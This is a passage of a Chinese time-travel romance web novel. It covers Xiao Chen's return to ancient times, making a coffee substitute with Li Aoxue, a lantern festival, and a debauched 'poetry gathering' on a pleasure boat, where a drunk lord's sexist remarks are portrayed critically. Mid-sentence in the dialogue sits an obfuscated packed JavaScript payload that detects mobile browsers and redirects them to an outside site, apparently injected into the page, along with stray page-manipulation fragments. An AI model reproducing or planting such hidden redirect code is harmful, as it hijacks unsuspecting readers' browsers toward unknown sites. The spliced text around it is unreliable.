刚一进门,她的目光便又被那幅李傲雪的画吸引。画上的人儿依旧浅笑盈盈,似乎在诉说着无尽的思念。肖晨走到画前,轻轻叹了口气:“傲雪,今天工作的时候,我满脑子都想着你要是能喝到咖啡该多好。” 她突然灵机一动,心想:虽然不能把咖啡带到古代,但可以把制作咖啡的方法告诉李傲雪呀。于是,肖晨赶忙找出纸笔,开始详细记录制作咖啡的步骤。从咖啡豆的挑选、研磨,到水温的把控、冲泡的技巧,她写得极为细致,甚至还画了简单易懂的示意图。 “希望这能让你在那边也能品尝到咖啡的滋味。”肖晨一边写,一边喃喃自语。写好后,她小心翼翼地将纸张放在画旁,仿佛这样李傲雪就能马上看到。 躺在床上,肖晨翻来覆去难以入眠。她想着,下次穿越回去,一定要找个合适的时机把制作咖啡的方法交给李傲雪。同时,她也担心古代的“自己”是否安好,李傲雪这些日子又是怎样度过的。 好不容易迷迷糊糊睡去,肖晨又梦到了那个熟悉的古代场景。青山绿水间,李傲雪穿着淡雅的衣衫,正站在庭院中翘首以盼。看到肖晨出现,她眼中满是惊喜,快步迎上来。肖晨笑着拿出那张记录咖啡制作方法的纸,李傲雪好奇地接过,认真看着,脸上洋溢着期待的笑容…… 肖晨在梦里醒来后,辗转反侧难以入眠,满脑子都是古代的种种,尤其是李傲雪的身影。终于,她再也按捺不住,起身再次来到李傲雪画像面前。她深吸一口气,在心中默默念出“520”。刹那间,那束神秘的光再次亮起,强大的吸引力将她瞬间吞没。 等肖晨回过神来,发现自己已然回到了古代,重新占据了原身的躯壳。此时,她正躺在床上,缓缓睁开眼睛,熟悉的古色古香的房间映入眼帘。她一眼就看到墙上挂着的那幅李傲雪的画,思绪瞬间回到离开之时,记得那时李傲雪去准备洗澡了。 肖晨赶忙起身,整理了一下衣衫,心中满是对李傲雪的牵挂。不知自己离开的这段时间,她有没有担心,有没有发生什么事。她快步走出房间,在院子里四处寻找李傲雪的身影。 庭院中,微风轻拂,花草摇曳,却不见李傲雪的踪迹。肖晨的心不禁揪了起来,一种莫名的不安涌上心头。她加快脚步,朝李傲雪平时常去的地方走去,嘴里轻声呼唤着:“傲雪,傲雪你在哪儿?” 李傲雪刚沐浴完毕,正用手帕轻轻擦拭着湿漉漉的长发,忽听到肖晨急切的呼唤声。她心中一喜,赶忙顺着声音传来的方向快步走去,脆生生地回应道:“少爷,我在这里。” 肖晨循声望去,只见李傲雪身着一件素色的睡衣,发丝还滴着晶莹的水珠,顺着白皙的脖颈缓缓滑落,整个人透着一种出尘的清新与柔美。肖晨悬着的心瞬间落了地,嘴上却忍不住嗔怪道:“你洗澡怎么那么久?” 李傲雪微微一愣,随即脸颊泛起一抹红晕,轻声解释道:“少爷,方才沐浴时,我想着少爷为我画的那幅画,一时间出了神,这才耽搁了些时间。”说着,她抬眸看向肖晨,眼中满是羞涩与深情。 肖晨心中一动,想起自己在现代对李傲雪的牵挂,还有那想要教她制作咖啡的念头,不禁 softened 了语气,说道:“罢了,下次可别这样了,我方才找不到你,心中很是担忧。”说罢,他走上前,轻轻握住李傲雪的手,仿佛只有这样,才能确定她真实地在自己身边。 李傲雪感受着肖晨掌心的温度,心中满是甜蜜,轻轻点了点头。肖晨看着她湿漉漉的头发,转身走到一旁的架子上,拿起一条干毛巾,温柔地说:“过来,我帮你把头发擦干,这样湿着容易着凉。” 李傲雪顺从地走到肖晨身前,微微低下头。肖晨轻轻抬起手,用毛巾轻柔地擦拭着她的长发,动作小心翼翼,仿佛在对待一件无比珍贵的宝物。他一边擦,一边说道:“傲雪,我有件奇妙的事想与你分享。” 李傲雪好奇地抬起头,眼中闪烁着期待的光芒:“少爷,何事如此奇妙?”肖晨思索片刻,缓缓开口:“你知道吗,在另一个奇妙的世界里,有一种饮品叫咖啡,味道独特且香气浓郁。我想着,若能让你也尝尝,那该多好。” 李傲雪露出疑惑的神情:“咖啡?那是何种饮品,为何我从未听闻?”肖晨微笑着耐心解释:“咖啡是由一种特殊的豆子研磨冲泡而成,它的味道有些许苦涩,却又带着醇厚的香气,细品之下,还会有回甘。在那个世界,人们都很喜爱它。” 李傲雪听得入神,眼中满是向往:“少爷,听起来好神奇,真希望能尝尝这咖啡的滋味。”肖晨宠溺地笑了笑:“我虽无法立刻变出咖啡,但我记住了制作方法。明日,我们便去找找看,这古代有没有类似的豆子,尝试着做出来。” 李傲雪兴奋地连连点头:“好呀,少爷,有你相伴,不管做什么都令人期待。”两人相视一笑,在这宁静的夜晚,彼此的心靠得更近了。 肖晨一边轻轻擦拭着李傲雪的头发,一边神情认真地说道:“傲雪,这咖啡是你我二人之间的秘密,可不能告诉别人。” 李傲雪眨了眨明亮的眼睛,一脸郑重地点头:“少爷放心,傲雪定不会将此事透露分毫。这是只属于我们的奇妙之事,我会好好藏在心底。”她心中满是欢喜,能与肖晨拥有这样独特的秘密,让她觉得两人的关系愈发亲密无间。 肖晨看着李傲雪乖巧的模样,忍不住轻轻刮了下她的鼻尖,笑道:“你呀,如此冰雪聪明,我自是信你的。这咖啡在另一个世界虽常见,但于咱们这儿,可是独一无二的新鲜事物。若是传了出去,只怕会生出许多事端。” 李傲雪若有所思地应道:“少爷所言极是,人多嘴杂,万一被心怀不轨之人知晓,怕是会给我们带来麻烦。傲雪定会守口如瓶。” 肖晨轻柔地梳理着李傲雪的长发,目光满是爱意,由衷赞叹道:“你这头发柔顺,又黑又长,看来你以前很爱护自己的头发。” 李傲雪微微颔首,脸颊浮现出一抹娇羞的红晕,轻声说道:“少爷谬赞了,不过是日常用心打理罢了。自小母亲便教导我,女子的头发如丝缕般珍贵,需悉心呵护。我便一直记在心上,不敢懈怠。” 肖晨微笑着,手上的动作愈发轻柔,宛如对待世间最精致的绸缎:“难怪如此,这一头秀发,当真是为你增色不少。每次看到,都觉得你愈发温婉动人。” 李傲雪听闻,心中像揣了只小鹿般怦怦直跳。她抬眸看向肖晨,眼中波光流转:“能得少爷喜爱,傲雪满心欢喜。日后,傲雪会更加用心,不负少爷夸赞。” 肖晨凝望着眼前娇羞动人的李傲雪,爱意如潮水般在心中翻涌,情不自禁地缓缓靠近,轻轻吻住了她。李傲雪身子微微一颤,随即闭上双眼,沉浸在这突如其来却又满含深情的一吻中。 然而,片刻之后,肖晨缓缓松开了她。尽管内心爱意澎湃,但他终究还是克制住了,没有再进一步。他在心中默默思忖:自己虽灵魂本是女子,可与李傲雪之间,爱情不应仅仅局限于身体的亲密接触。真正的爱,是灵魂与灵魂的交融,内心与内心的触碰,那才是爱的至高境界。 李傲雪缓缓睁开双眼,眼中犹带着未散尽的羞涩与迷离。她不解地看向肖晨,却在他的目光中读到了深沉的爱意与克制。肖晨轻轻握住她的手,温柔地说道:“傲雪,我爱你,这份爱无关其他,是灵魂深处对你的眷恋。我想,我们之间,更珍贵的是心与心的相知相惜。” 李傲雪眼中泛起感动的泪花,她轻轻靠在肖晨怀里,低声说道:“少爷,傲雪明白。能与少爷心意相通,便是傲雪此生最幸福之事。” 肖晨轻抚着李傲雪的发丝,声音中带着一丝忧虑与忐忑,缓缓问道:“如果我不能给你想要的幸福,你会不会怪我?” 李傲雪微微仰头,目光坚定且温柔地注视着肖晨,毫不犹豫地说道:“少爷,在傲雪心中,幸福并非是荣华富贵,也不是世间俗物。能与少爷相知相伴,谈天说地,便是傲雪最大的幸福。” 她轻轻握住肖晨的手,将其贴在自己的心口,深情地继续说道:“少爷的关怀、少爷的懂我,这一切早已填满了傲雪的心。即便未来日子平淡,或是遭遇艰难险阻,只要有少爷在身边,傲雪便无所畏惧,更不会怪罪少爷。” 肖晨听着李傲雪的肺腑之言,心中满是感动。他将李傲雪紧紧拥入怀中,感慨道:“傲雪,得你如此,是我此生之幸。我定不负你这份深情,倾尽所能,护你一世周全。” 两人静静地拥抱了一会儿,仿佛时间都为这份温情停留。随后,他们一同缓缓躺到床上。这一次,肖晨不再逃避心中的情感,主动朝着李傲雪靠过去,伸出有力的手臂,将她紧紧地搂在怀里。 李傲雪感受到肖晨那炽热而坚定的怀抱,心中满是甜蜜与安心。她微微仰头,看着肖晨的脸庞,在微弱的烛光映照下,肖晨的轮廓显得愈发温柔。她轻轻闭上眼,将头埋在肖晨胸前,倾听着他沉稳有力的心跳声,那节奏仿佛是一首为她而奏的专属乐章。 肖晨低下头,在李傲雪的发顶落下轻轻一吻,轻声说道:“傲雪,从今往后,无论发生什么,我都不会再放开你的手。”李傲雪微微点头,声音带着一丝哽咽:“少爷,傲雪也会一直陪伴在你身旁。” 在温馨的相拥中,两人渐渐沉入梦乡,一夜好眠。 第二天清晨,柔和的阳光透过窗棂,悄然洒落在床榻之上。李傲雪悠悠转醒,她轻手轻脚地起身,生怕惊扰到还在熟睡的肖晨。她望向身旁的肖晨,只见他面容安详,晨光勾勒出他俊朗的轮廓,心中满是柔情。 李傲雪轻手轻脚地走到一旁,像往常一样,仔细地准备好洗漱用品。她打来一盆温水,将毛巾浸湿后拧干,摆放整齐,又把牙具一一放置妥当。做完这一切,她静静地坐在一旁,眼神温柔地看着肖晨,等待他醒来。 不多时,肖晨也缓缓睁开了双眼,映入眼帘的便是李傲雪那含情脉脉的目光。他微微一愣,随即反应过来,脸上浮现出一抹温暖的笑意。他起身,走到洗漱架前,看着准备好的用品,心中满是感动,转头对李傲雪说道:“傲雪,有你在身边,真好。”李傲雪脸颊微红,轻声说道:“少爷醒来便好,快洗漱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993182|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 肖晨一边洗漱,一边转头看着李傲雪,说道:“傲雪,今天咱们就开始找找制作咖啡所需的材料。虽说这与我知晓的那个世界大不相同,但我想,总能寻到些相似之物。” 李傲雪眼中闪烁着兴奋的光芒,用力点头道:“好呀,少爷。傲雪对这咖啡好奇极了,定当全力相助。只是,咱们该从何处找起呢?” 肖晨思索片刻,说道:“咖啡是由豆子研磨制成,咱们先去集市上看看,有没有类似咖啡豆的豆子。记得留意那些颜色、大小相近,且闻起来有独特香气的。” 两人简单用过早餐后,便携手前往集市。集市上热闹非凡,人来人往,叫卖声此起彼伏。他们穿梭在各个摊位之间,仔细搜寻着。肖晨拿起摊位上的豆子,放在鼻下轻嗅,再仔细观察其形状和色泽,却连连摇头。 李傲雪看着肖晨认真的模样,心中满是钦佩,也学着他的样子,一颗一颗地挑选。忽然,李傲雪在一个角落里发现了一袋豆子,颜色偏深,颗粒饱满,隐隐散发着一股特别的香气。她赶忙招手叫肖晨过来:“少爷,你快看看,这豆子是不是有些像你说的咖啡豆?” 肖晨快步走过来,拿起豆子端详许久,又闻了闻,眼中闪过一丝惊喜:“嗯,这豆子虽与咖啡豆不完全一样,但香气和模样都有几分相似,或许可以一试。” 他向摊主询问了豆子的来历,得知这豆子是从遥远的南方运来,当地人常用它煮水喝,有提神醒脑的功效。 肖晨毫不犹豫地买下了这袋豆子,与李傲雪满心欢喜地回到家中。一进家门,肖晨便迫不及待地开始准备研磨豆子的工具。他找出家中的石臼,将豆子小心翼翼地倒进去,开始一下一下地研磨。李傲雪则在一旁帮忙,眼神专注地看着肖晨的一举一动。 随着石臼的转动,豆子渐渐变成了细腻的粉末,散发出浓郁的香气。肖晨看着磨好的豆粉,心中充满期待,对李傲雪说道:“傲雪,接下来就是冲泡了,希望这味道能与咖啡有几分相像。” 李傲雪笑着点头,眼中满是信任与期待:“少爷定能成功,傲雪已经迫不及待想尝尝了。” 肖晨架起炉灶,在锅中倒入适量清水,待水煮沸后,将研磨好的豆粉缓缓倒入锅中,瞬间,一股别样的香气弥漫开来。他手持木勺,轻轻搅拌着,专注地盯着锅里的动静,仿佛正在进行一场至关重要的仪式。 李傲雪站在一旁,紧张地看着,鼻子贪婪地捕捉着空气中的味道,好奇这即将诞生的饮品究竟会是什么滋味。不多时,锅里的液体开始翻滚,泛起细腻的泡沫。肖晨赶忙熄了火,找来一块干净的纱布,将煮好的液体小心翼翼地过滤到碗中。 褐色的液体缓缓流入碗里,热气腾腾,散发着迷人的香气。肖晨把碗递给李傲雪,笑着说:“傲雪,你先尝尝,看看合不合口味。”李傲雪接过碗,轻轻吹了吹,小心翼翼地抿了一小口。 起初,那略带苦涩的味道在舌尖散开,她微微皱眉。但紧接着,一股醇厚的回甘涌上心头,伴随着独特的香气,让她不禁眼睛一亮。“少爷,这味道当真奇妙,虽与寻常饮品不同,却十分好喝!”李傲雪惊喜地说道。 肖晨见状,也赶忙尝了一口。熟悉又陌生的味道在口中散开,虽比不上现代正宗的咖啡,但在这古代,能有如此近似的滋味,已让他十分满足。“看来咱们这次尝试算是成功了!”肖晨兴奋地说道。 肖晨看着李傲雪一脸陶醉地品尝着“咖啡”,满是宠溺地说道:“你要是喜欢喝,以后就按照这个做法就行。” 李傲雪抬眸,眼中满是欢喜与依赖,“少爷,有你在,傲雪总能尝到这般新奇美味。只是这豆子,若用完了可如何是好?” 肖晨思索片刻,说道:“无妨,这豆子既然是从南方运来,想必当地产量不少。咱们可与那摊主商议,让他多进些货,确保咱们能时常喝到。” 李傲雪轻轻点头,“少爷考虑得周全。只是,这独特的饮品,真的只属于我们二人吗?傲雪有时想着,若能让更多人尝尝,也是极好的。” 肖晨微微一怔,随后笑着刮了下她的鼻尖,“你呀,心地总是这般善良。只是这咖啡制作方法独特,且这豆子来源并非容易,若是传出去,只怕会引起不必要的麻烦。但等日后咱们寻到稳定的豆子来源,再做打算也不迟。” 李傲雪乖巧地应了一声,“一切听少爷的。只要能与少爷一同品尝这美味,傲雪便心满意足了。” 两人又一同喝了几口“咖啡”,享受着这惬意的时光。 过了一会儿,肖晨起身说道:“傲雪,我去书房将这咖啡的制作过程详细记录下来,以免日后遗忘。你若无事,可来与我一同整理。” 李傲雪欣然起身,与肖晨携手走向书房。在书房中,肖晨铺纸研墨,将咖啡的制作步骤、选用豆子的特征以及冲泡技巧等一一书写下来。李傲雪则在一旁帮忙研磨。 肖晨仔细书写完毕,吹干墨迹,郑重地将记录着“咖啡”制作方法的纸张递给李傲雪,神情严肃地说道:“傲雪,你把这些方法都背好。这独特的技艺,咱们不能轻易示人,背熟之后,就将它烧毁,千万不要让其他人看见。” 李傲雪一脸认真地接过纸张,双眸紧紧盯着上面的字迹,逐字逐句地默读起来。她全神贯注,不放过任何一个细节,仿佛要将每一个字都刻进心里。肖晨在一旁静静地看着她,眼神中既有信任,又有一丝担忧。 过了好一会儿,李傲雪抬起头,眼中透着坚定:“少爷,傲雪已经背好了。”肖晨微微点头,“那便好,烧了吧。”李傲雪走到窗边的火盆旁,蹲下身子,再次确认自己记忆无误后,轻轻将纸张投入火盆。火苗迅速舔舐着纸张边缘,橘红色的火焰跳跃闪烁,不多时,那张记录着珍贵制作方法的纸便化为了灰烬。 李傲雪站起身,拍了拍手上的灰尘,看向肖晨:“少爷,傲雪定会将这方法深藏心中,不会让他人知晓半分。”肖晨走上前,握住她的手,欣慰地说:“我信你。这独特的饮品,是我们之间的珍贵回忆,就让它一直只属于我们。” 肖晨轻轻地拥抱着李傲雪,语气中满是期待地说道:“今天晚上就是灯节了,晚上你和玉溪早早地收拾好,我们一起去逛。” 李傲雪听闻,眼中顿时绽放出惊喜的光芒,她微微仰起头,看着肖晨,兴奋地说道:“真的吗,少爷?傲雪早就听闻灯节热闹非凡,一直盼着能去凑凑热闹呢。” 肖晨看着她那开心的模样,宠溺地笑了笑,说道:“当然是真的。这灯节一年也就一次,咱们可得好好去感受感受那热闹氛围。玉溪也很久没出去玩了,这次一起,你们肯定能玩得尽兴。” 李傲雪笑着点头,“那傲雪一会儿就去告知玉溪,让她也提前准备准备。少爷,您说,灯节上都有些什么好玩的呀?” 肖晨思索片刻,说道:“灯节嘛,自然是花灯最为出彩。各式各样的花灯挂满街头,有花鸟鱼虫造型的,还有神话故事主题的,五光十色,漂亮极了。还有猜灯谜,若是猜对了,还能赢得小奖品。另外,街边肯定也少不了各种特色小吃和有趣的杂耍表演。” 李傲雪听得津津有味,脸上洋溢着抑制不住的喜悦,“听起来就好有意思,傲雪已经迫不及待啦。” 肖晨轻轻刮了刮她的鼻子,说道:“别急,等晚上咱们好好去逛个够。现在你先去准备着,我也还有些事要处理。” 李傲雪乖巧地应了一声,便转身轻快地去找玉溪,准备一同迎接这令人期待的灯节之夜。 22. 知音难觅,灯会冲头 李傲雪很快找到了玉溪,将晚上去逛灯节的消息告诉了她。玉溪惊喜得跳了起来,拉着李傲雪的手说道:“小姐,真的吗?这可太好了,我早就想去看看灯节的热闹啦!”李傲雪笑着点头:“自然是真的,少爷特意交代,让我们早早准备呢。” 两人回到房间,开始精心挑选晚上要穿的衣裳。李傲雪选了一件淡粉色的襦裙,裙摆绣着精致的桃花,显得清新又温婉。玉溪则挑了一件鹅黄色的长裙,活泼俏皮。她们对着镜子仔细梳妆,李傲雪在发间别上一支白玉簪子,玉溪则戴了一对玲珑的珍珠耳环。 傍晚时分,肖晨来到她们的住处。只见李傲雪和玉溪焕然一新,他眼中满是赞赏:“你们二人今日真是光彩照人,走,咱们这就出发。” 三人一同来到街上,只见花灯如昼,整条街道被装点得五彩斑斓。形态各异的花灯在微风中轻轻摇曳,仿佛在诉说着一个个美好的故事。李傲雪被一盏玉兔造型的花灯吸引,那玉兔活灵活现,眼睛仿佛还会眨动。肖晨见她喜欢,便上前买下,递给李傲雪:“喜欢就拿着,这玉兔花灯和你一样可爱。”李傲雪脸颊微红,接过花灯,眼中满是欢喜。 走着走着,他们来到一处猜灯谜的摊位前。玉溪兴奋地跑过去,看着一个个悬挂的灯谜跃跃欲试。肖晨和李傲雪也跟了过来。玉溪看着一个灯谜念道:“‘一把刀,顺水漂,有眼睛,没眉毛。打一动物’,这我知道,是鱼!”摊主笑着点头,递给玉溪一个漂亮的香囊作为奖品。玉溪开心地将香囊递给李傲雪:“小姐,给您。”李傲雪接过香囊,笑着摸了摸玉溪的头。 不远处传来一阵喝彩声,原来是有杂耍艺人在表演。他们赶忙挤过去观看,只见艺人在空中耍弄着金箍棒,动作娴熟,令人眼花缭乱。周围的观众不时发出惊叹和叫好声。李傲雪看得入神,紧紧拉着肖晨的衣袖,眼中满是新奇。 逛了许久,肖晨看着有些疲惫但依旧满脸笑意的两人,说道:“逛了这么久,想必你们也饿了,去吃些小吃吧。”他们来到一个小吃摊前,要了一些糖炒栗子、桂花糕和热汤面。李傲雪吃着香甜的桂花糕,满足地说道:“少爷,今日真是太开心了,这灯节果然名不虚传。”肖晨看着她,眼中满是爱意:“只要你开心就好,以后每年灯节,咱们都一起来。” 李傲雪和玉溪齐声说道:“那真是太好了!”肖晨看着她们开心的模样,心里也满是欢喜,接着说道:“我们现在去客栈找林羽吧。” 三人来到客栈,林羽早已在那儿等候多时。见他们终于来了,林羽赶忙迎上前,笑着说道:“肖兄,可算把你们盼来了,嫂夫人也一同前来,真是幸会。”说着,他目光落在玉溪身上,面露疑惑。 肖晨赶忙介绍道:“这位姑娘是我家夫人的好友玉溪。玉溪,这位便是我常与你提及的林羽林兄。” 玉溪落落大方地福了福身,说道:“林公子,久仰了。” 林羽连忙回礼,笑道:“原来是玉溪姑娘,今日得见,实乃林某之荣幸。” 肖晨环顾四周,问道:“林兄,此处人多嘈杂,我们找个安静的地方叙话如何?” 林羽点头称是,领着众人来到楼上一间幽静的雅间。待众人落座后,林羽吩咐小二上了几壶香茗和一些精致的点心。 林羽端起茶杯,轻抿一口,说道:“肖兄,嫂夫人,今日灯节,城中定是热闹非凡,你们一路逛来,可有什么趣事?” 李傲雪笑着说道:“林公子,今日所见所闻,皆十分有趣。那些花灯美轮美奂,还有猜灯谜、杂耍表演,我们玩得不亦乐乎。” 玉溪也在一旁附和:“是啊是啊,尤其是那猜灯谜,我还赢了个香囊呢。”说着,她掏出香囊给大家看。 林羽满脸笑意,略带调侃地看向肖晨:“肖兄有嫂夫人陪着,整日这般开心,我都忍不住心生羡慕呢。” 肖晨哈哈一笑,拍了拍林羽的肩膀:“那你也赶紧成家就好啦,等你有了自己的娘子,一样能享受这般温馨甜蜜。” 林羽摆了摆手,脸上露出几分不羁:“不急不急,要真的成亲,我可就被管住喽,哪还有机会自在地看美女。” 李傲雪微微皱眉,轻嗔道:“林公子这话可不对,夫妻之间应是相互尊重、相互扶持。若为了所谓看美女的自由不成家,岂不是辜负了真正的良缘?” 玉溪也在一旁点头:“是啊,林公子,真心相待的伴侣,能带来的是温暖与安心,而非束缚。” 林羽见两位姑娘一脸认真,赶忙赔笑道:“嫂夫人和玉溪姑娘莫要生气,我不过是玩笑之言。只是尚未遇到那能让我心甘情愿安定下来之人罢了。” 肖晨笑着摇摇头:“你呀,别总是玩世不恭。缘分到了,自然就知道成家的好了。说不定哪天,一个姑娘就突然闯进你心里,让你再也挪不开眼。” 林羽笑而不语,端起茶杯又喝了一口,似乎在想象着肖晨描述的那般场景。 林羽面带微笑,看向李傲雪说道:“嫂夫人,这灯会如此之美,您和玉溪姑娘不妨就在这客栈歇歇脚,好好欣赏窗外的夜景。我和肖兄听闻此处有一场诗会,想去凑凑热闹,吟诗作赋一番。” 李傲雪微微点头,温婉笑道:“林公子客气了,你们既有雅兴,便去无妨。我与玉溪在此处也可好好感受这灯节氛围。” 玉溪也乖巧地说道:“是呀,少夫人和我定会照顾好自己,林公子与少爷放心去便是。” 肖晨看向李傲雪,眼神中满是关切:“傲雪,那你和玉溪在客栈里别乱跑,若有什么需要,尽管吩咐客栈伙计。我们去去就回。” 李傲雪轻轻应道:“少爷放心,你们尽兴就好。” 林羽起身,对李傲雪和玉溪拱手作揖:“嫂夫人、玉溪姑娘,那我们便先行一步。” 肖晨也跟着起身,又叮嘱了几句,才与林羽一同离开雅间,前往诗会。 李傲雪和玉溪来到窗边,凭栏而望。街道上花灯如繁星般璀璨,行人如织,欢声笑语不断。玉溪兴奋地指着窗外:“少夫人,您看那盏荷花灯,做得可真精致。”李傲雪顺着她指的方向看去,笑着点头:“确实好看,这灯节的热闹,即便静静看着,也觉得满心欢喜。” 两人沿着熙攘的街道漫步前行,肖晨转头看向林羽,好奇地问道:“这参加诗会的地方究竟在哪里呀?”林羽嘴角微微上扬,故意卖着关子,故作神秘地说道:“就在前方的船上。” 肖晨心中暗自思忖,想必是在船上一边欣赏沿途风景,一边吟诗作赋,倒也别有一番雅趣。待他们走近,眼前的景象却让肖晨不禁微微咋舌。只见一艘巨大的画舫静静停泊在河畔,船身雕梁画栋,气势恢宏。走进船内,更是被其奢华的装修所震撼。 船舱内,地面铺设着光洁如镜的大理石,倒映着头顶华丽的宫灯,灯光摇曳,如梦如幻。四壁上挂着名家字画,彰显着高雅的格调。桌椅皆由名贵木材打造,上面镶嵌着精美的玉石和珍珠,在灯光下闪烁着柔和的光芒。 林羽看着肖晨惊讶的表情,笑着说道:“这船乃是城中一位富商所备,每逢佳节,便会举办此类诗会,广邀城中才子佳人。今日咱们可有眼福了。” 肖晨一边四处打量,一边感叹道:“如此奢华的布置,想必今日诗会定是精彩非凡。”两人沿着船舱通道缓缓前行,不一会儿便来到了诗会的主厅,厅内已经聚集了不少文人雅士,大家三五成群,或低声交谈,或吟诗诵词,气氛热烈而融洽。 待众人纷纷入座,宽敞的船舱内瞬间热闹起来。不多时,一队侍从迈着整齐的步伐鱼贯而入,他们手中端着精致的酒菜,有条不紊地摆放在每个人的桌前。盘中的珍馐散发着诱人的香气,琼浆玉液在杯中泛起粼粼波光,令人赏心悦目。 就在众人陶醉于这美食的诱惑之时,一阵轻盈的脚步声传来。只见一群舞女身着色彩斑斓的罗裙,宛如春日盛开的繁花,袅袅娜娜地步入厅中。她们身姿曼妙,莲步轻移,长袖挥舞间仿佛将整个船舱都带入了如梦似幻的仙境。 与此同时,一位身着素衣的女子缓缓走向置于厅中的古筝。她轻轻落座,玉指轻拂琴弦,悠扬的琴音顿时流淌而出。而在另一侧,一位男子手持竹笛,双唇轻启,笛声婉转,与古筝之音相互呼应,相得益彰。 熟悉的旋律渐渐响起,竟是那首动人心弦的《凤求凰》。琴音清脆如珠落玉盘,笛声悠扬似林间清风,两者交织在一起,将司马相如对卓文君的炽热追求之情演绎得淋漓尽致。舞女们随着这美妙的旋律翩翩起舞,她们的舞姿时而轻盈飘逸,时而热烈奔放,举手投足间尽显风情。 船舱内的众人皆沉浸在这美妙的乐舞之中,仿佛忘记了外界的一切。肖晨与林羽也不例外,他们一边浅酌美酒,一边欣赏着精彩的表演,不禁为这场诗会前的盛宴暗暗叫绝。 不知时光悄然流逝了多久,林羽微微侧身,凑近肖晨耳边,轻声问道:“肖兄,你觉得这里怎么样?”肖晨微微点头,由衷说道:“还不错,无论是这奢华的布置,还是精彩的乐舞,都让人眼前一亮。”说罢,他目光中透露出一丝疑惑,“只是,这诗会什么时候开始呢?” 林羽嘴角勾起一抹狡黠的笑容,眼神带着几分玩味,低声对肖晨说道:“肖兄,你还不明白吗,这可不是寻常只专注于诗词的诗会。在这儿,美女便是诗句啊。” 肖晨微微一怔,脸上闪过一丝诧异,随即眉头微皱,心中不禁泛起一丝失落。他本以为是一场纯粹以诗会友、切磋文学的雅集,未曾想竟有着这般风流意味。看着周围一些人眼中流露出的轻佻之色,他心中有些不是滋味。 林羽见肖晨神色有异,赶忙解释道:“肖兄,别这般拘谨嘛。难得出来放松,且入乡随俗,享受这难得的乐趣。” 肖晨轻轻摇头,说道:“林兄,我本以为是一场能畅抒胸臆、以诗会知音的盛会,这般情境,实非我所期望。” 林羽拍了拍肖晨的肩膀,笑着说:“肖兄莫要扫兴,你看这满船的佳人,又有美酒相伴,岂不快哉?诗会嘛,形式多样,乐趣也各有不同。” 肖晨无奈地叹了口气,他虽不认同林羽的看法,但身处此地,也不便即刻离去,只能暂且按捺下心中的失望,继续观看着眼前的场景,只是兴致已然大减。 随着酒过三巡,众人渐渐有了几分醉意,场面也愈发喧闹起来。这时,一个满脸通红的公子哥,显然已被美酒与美色迷了心智,开始不满足于只在台下欣赏舞女和乐师的表演。只见他摇摇晃晃地站起身,大声嚷嚷着:“光在下面看着有什么意思,让那些女的过来陪我!” 一旁的侍从见状,心领神会,却还是佯装正经地走上前,说道:“公子,您有所不知,这里可是正经的诗会场所,这般行为怕是不妥。”那公子哥撇了撇嘴,不屑地哼了一声,随即从怀中掏出一锭银子,“啪”地一声拍在桌上,挑衅地看着侍从:“这些,够了吗?”侍从脸上依旧不动声色,没有丝毫妥协的意思。公子哥见状,眉头一皱,又狠狠掏出几锭银子拍在桌上,银子碰撞发出清脆声响。 侍从这才装模作样地露出为难的神情,扫视了一眼四周,缓缓开口道:“唉,公子您可是文雅之人,想必这会是需要人在旁服侍,才能更好地吟诗赋词。你们几个,还不过去伺候公子!”说罢,朝几位舞女使了个眼色。 那几位舞女面露难色,但在侍从的眼神示意下,也只能无奈地走到公子哥身边,勉强赔笑。其他一些人见状,也纷纷效仿,掏出银子,叫嚷着让舞女和乐师们过来相陪。原本以诗会为名的雅集,瞬间变得乌烟瘴气,充斥着金钱交易与轻浮的笑声。 肖晨目睹这一切,心中满是厌恶,转头看向林羽,语气中带着几分愤怒与失望:“林兄,这就是你所说的诗会?如此行径,简直是对诗词的亵渎!” 林羽一脸不以为意,耸耸肩说道:“肖兄,这本来就是再正常不过的事儿了。你想想,在这世上,其他地方打着各种高雅名义,实则来纸醉金迷的场合可都不在少数呢。” 肖晨眉头紧皱,眼中满是不忿:“可这终究与我心中所想的诗会大相径庭,我实在无法苟同这样的风气。”说着,他便作势要起身离开。 林羽赶忙伸手拉住肖晨,神色有些焦急:“肖兄,咱们暂时先呆在这里。你想啊,要是现在就走,传出去让别人怎么看我们?难免会被人说三道四,说咱们不合群,扫了大家的兴致。” 肖晨无奈地重新坐下,心中烦闷不已,他看着周围混乱的场景,语气沉重地说:“林兄,我本以为能在此处与志同道合之人,以诗词会友,共品佳作。如今这般,实在让人心寒。” 林羽轻拍肖晨的肩膀,安慰道:“肖兄,你也别太往心里去。这不过是一场聚会罢了,咱们就暂且忍耐一下。等过会儿寻个合适的时机,咱们再悄然离开便是。” 肖晨微微点头,心中虽有万般不愿,但也只能暂且按捺下怒火,只是眼神中仍透着浓浓的失望,静静地等待着能离开这污浊之地的时机。 那公子哥醉意醺醺,已然毫无顾忌,扯着嗓子口不择言地叫嚷起来:“哼,在外面多自在,想怎么玩就怎么玩。可回了家,那帮妻妾就跟紧箍咒似的,管得死死的。你们说,是不是这个理儿?俗话说得好,‘妻不如妾,妾不如偷’。这女人啊,没娶回家的时候,看着跟朵娇艳的花儿似的,可一旦娶进门,日子久了,连棵草都不如!” 他这一番粗俗不堪的言论,让在场众人皆微微变色。而一旁那位原本专注弹奏古筝的女子,听闻此言,眼中闪过一丝愤怒与不屑。她手下的琴音节奏陡然一变,原本悠扬舒缓的曲调,瞬间进入高速,变得激昂高亢起来。 她十指如飞,重重地拨弄着琴弦,仿佛要将心中的不满与愤懑,都通过这急促的琴音发泄出去。那强烈的音符如同一串串利箭,在船舱内穿梭回荡,仿佛在无情地批判着公子哥的荒谬言辞。 周围一些稍有良知的文人,听到这激烈的琴音,也不禁面露尴尬之色,纷纷低下了头,不敢与旁人对视。而那位公子哥却浑然不觉,依旧在那胡言乱语,丝毫没有意识到自己的话已经引起了公愤。 